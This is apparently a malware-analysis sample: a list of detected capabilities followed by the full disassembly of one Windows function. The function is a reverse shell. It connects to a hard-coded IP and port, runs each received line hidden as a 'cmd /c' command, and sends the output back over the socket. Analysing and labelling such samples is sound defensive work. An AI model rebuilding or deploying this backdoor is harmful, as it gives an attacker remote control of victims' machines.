Function at 0x100401278
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create process on windows
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
push rbx
sub rsp, 0x4f8
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x290]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
setne al
test al, al
je 0x1004012b4
mov ebx, 0xffffffff
jmp 0x1004016a1
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x468], rax
cmp qword [rbp + 0x468], 0xffffffffffffffff
jne 0x1004012f1
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ebx, 0xffffffff
jmp 0x1004016a1
mov word [rbp + 0x280], 2
mov ecx, 0x2fbd
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x282], ax
lea rax, str.192.168.161.198
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x284], eax
lea rdx, [rbp + 0x280]
mov rax, qword [rbp + 0x468]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x100401378
mov rax, qword [rbp + 0x468]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ebx, 0xffffffff
jmp 0x1004016a1
lea rax, [rbp + 0x278]
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rdx, [rbp + 0x277]
mov rax, qword [rbp + 0x468]
mov r9d, 0
mov r8d, 1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x464], eax
cmp dword [rbp + 0x464], 0
jle 0x100401670
movzx eax, byte [rbp + 0x277]
cmp al, 0xa
jne 0x100401652
lea rax, [rbp + 0x430]
lea rdx, [rbp + 0x278]
mov r8, rdx
lea rdx, str.cmd__c
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x428]
lea rdx, [rbp + 0x430]
lea r8, str.___output.txt
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x428]
lea rax, [rbp + 0x278]
mov rcx, rax
call sym.std::string::operator_std::string_
lea rax, [rbp + 0x428]
mov rcx, rax
call fcn.100401840
lea rax, [rbp + 0x430]
mov rcx, rax
call fcn.100401840
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x10], 0x68
lea rax, [rbp + 0x250]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x2c]
or eax, 1
mov dword [rbp + 0x2c], eax
mov word [rbp + 0x30], 0
lea rax, [rbp + 0x278]
mov rcx, rax
call sym.std::string::c_str___const
mov rdx, rax
lea rax, [rbp + 0x250]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
sete al
test al, al
je 0x1004014fd
mov ebx, 0xffffffff
jmp 0x100401692
mov rax, qword [rbp + 0x250]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x250]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x258]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x60]
mov r8d, 8
lea rdx, str.output.txt
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
lea rax, [rbp + 0x43f]
mov rcx, rax
call fcn.1004018c8
lea rax, [rbp + 0x440]
mov rcx, rax
call method.std::istreambuf_iterator_char__std::char_traits_char___.istreambuf_iterator__
lea rdx, [rbp + 0x60]
lea rax, [rbp + 0x450]
mov rcx, rax
call method.std::istreambuf_iterator_char__std::char_traits_char___.istreambuf_iterator_std::istream_
mov rax, qword [rbp + 0x450]
mov rdx, qword [rbp + 0x458]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x440]
mov rdx, qword [rbp + 0x448]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
lea r8, [rbp + 0x43f]
lea rcx, [rbp - 0x30]
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x248]
mov r9, r8
mov r8, rcx
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::istreambuf_iterator_char__std.char_traits_char______std::istreambuf_iterator_char__std::char_traits_char_____std::istreambuf_iterator_char__std::char_traits_c
lea rax, [rbp + 0x43f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x248]
mov rcx, rax
call sym.std::string::size___const
mov ebx, eax
lea rax, [rbp + 0x248]
mov rcx, rax
call sym.std::string::c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x468]
mov r9d, 0
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rax, [rbp + 0x278]
mov rcx, rax
call sym.std::string::clear__
lea rax, [rbp + 0x248]
mov rcx, rax
call fcn.100401840
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream__
jmp 0x100401387
movzx eax, byte [rbp + 0x277]
movsx edx, al
lea rax, [rbp + 0x278]
mov rcx, rax
call sym.std::string::operator_char_
jmp 0x100401387
nop
mov rax, qword [rbp + 0x468]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ebx, 0
lea rax, [rbp + 0x278]
mov rcx, rax
call fcn.100401840
mov eax, ebx
jmp 0x10040170a
add rsp, 0x4f8
pop rbx
pop rbp
ret